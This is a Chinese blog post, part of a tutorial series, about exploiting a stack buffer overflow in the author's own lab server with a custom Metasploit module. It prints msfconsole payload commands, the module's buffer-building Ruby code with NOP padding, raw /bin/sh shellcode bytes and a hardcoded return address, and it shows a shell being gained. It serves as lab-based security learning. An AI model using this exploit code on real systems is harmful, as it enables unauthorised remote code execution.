使用metasploit进行栈溢出攻击-5
2014-11-22 10:35
302 查看
我们先尝试使用这个脚本进行攻击:
server端显示:
显然攻击目的没有,达到,具体原因有两个(我认为的),第一是返回值部分不对,第二是payload本身是不是有问题
我们一一修改:
第二,我们payload首先采用最先验证过的运行/bin/sh的shellcode
尤其注意最前我们补充的nop 指令的数量是15,我在这里卡了很久,就是因为指令对齐问题,显然32位平台上,应该是四字节对齐的。
然后运行
注意这里运行的是rexploit,这个表示重新载入模块,并执行,因为我刚刚修改过了。
可以看到server端:
这里用的shellcode是自己生成的,没有用payload.encoded,是因为我尝试用payload,但是没有任何反应,应该是编码以后不能执行造成的。
msf > use exploit/linux/myvictim msf exploit(myvictim) > set payload linux/x86/ set payload linux/x86/metsvc_bind_tcp set payload linux/x86/shell_reverse_tcp2 set payload linux/x86/metsvc_reverse_tcp msf exploit(myvictim) > set payload linux/x86/metsvc_bind_tcp payload => linux/x86/metsvc_bind_tcp msf exploit(myvictim) > set rhost 10.10.10.133 rhost => 10.10.10.133 msf exploit(myvictim) > set rport 7777 rport => 7777 msf exploit(myvictim) > exploit [*] Started bind handler [*] Sending 116 byte payload... [*] Exploit completed, but no session was created.
server端显示:
bai@ubuntu:/mnt/hgfs/r/stack$ ./server socket bind listen server is run... accept The IP of client is:10.10.10.128 The Port of client is:52308 close-new_fd 2 recv accept sp=0xbffff488,addr=0xbffff4a4 bytes.
显然攻击目的没有,达到,具体原因有两个(我认为的),第一是返回值部分不对,第二是payload本身是不是有问题
我们一一修改:
'MyVictimSever run on linux', { 'Platform' => 'Linux', 'Ret' => 0xbffff4a4 }
第二,我们payload首先采用最先验证过的运行/bin/sh的shellcode
# Build the buffer for transmission buf=""; buf = make_nops(15); buf+="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" buf+="\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" buf+="\x80\xe8\xdc\xff\xff\xff/bin/sh"; #buf+="\xa4\xf4\xff\xbf" #buf += payload.encoded buf += [].fill( target.ret,0,100).pack('V*')
尤其注意最前我们补充的nop 指令的数量是15,我在这里卡了很久,就是因为指令对齐问题,显然32位平台上,应该是四字节对齐的。
然后运行
msf exploit(myvictim) > rexploit [*] Reloading module... [*] Started bind handler [*] Sending 116 byte payload... [*] Exploit completed, but no session was created.
注意这里运行的是rexploit,这个表示重新载入模块,并执行,因为我刚刚修改过了。
可以看到server端:
The IP of client is:10.10.10.128 The Port of client is:47336 close-new_fd 2 accept recv sp=0xbffff488,addr=0xbffff4a4 bytes. $ $
这里用的shellcode是自己生成的,没有用payload.encoded,是因为我尝试用payload,但是没有任何反应,应该是编码以后不能执行造成的。
相关文章推荐
- 使用metasploit进行栈溢出攻击-3
- 使用metasploit进行栈溢出攻击-4
- 使用metasploit进行栈溢出攻击-2
- 使用metasploit进行栈溢出攻击-1
- 使用MetaSploit在WinXP对Win2000进行攻击
- Linux使用ROP进行栈溢出攻击
- 使用metasploit进行渗透攻击步骤
- 使用metasploit-framework进行主机发现和端口扫描
- 使用 OpenSSL API 进行安全编程,第 2 部分: 安全握手--防止中间人(MITM)攻击
- MySQL数据库遭到攻击篡改(使用备份和binlog进行数据恢复)
- Metasploit使用问题记录及攻击测试代码
- Kali Linux进行内网攻击--》使用arpspoof
- Ubuntu10.04下使用metasploit对win2000 server进行MS06-040溢出
- 使用 OpenSSL API 进行安全编程,第 2 部分: 安全握手 防止中间人(MITM)攻击
- 内网中使用metasploit进行渗透测试
- 使用Metasploit进行端口扫描
- Ubuntu10.04下使用metasploit对win2000 server进行MS08-067溢出
- 使用metasploit(MSF)对windows的ms17-010漏洞进行利用的过程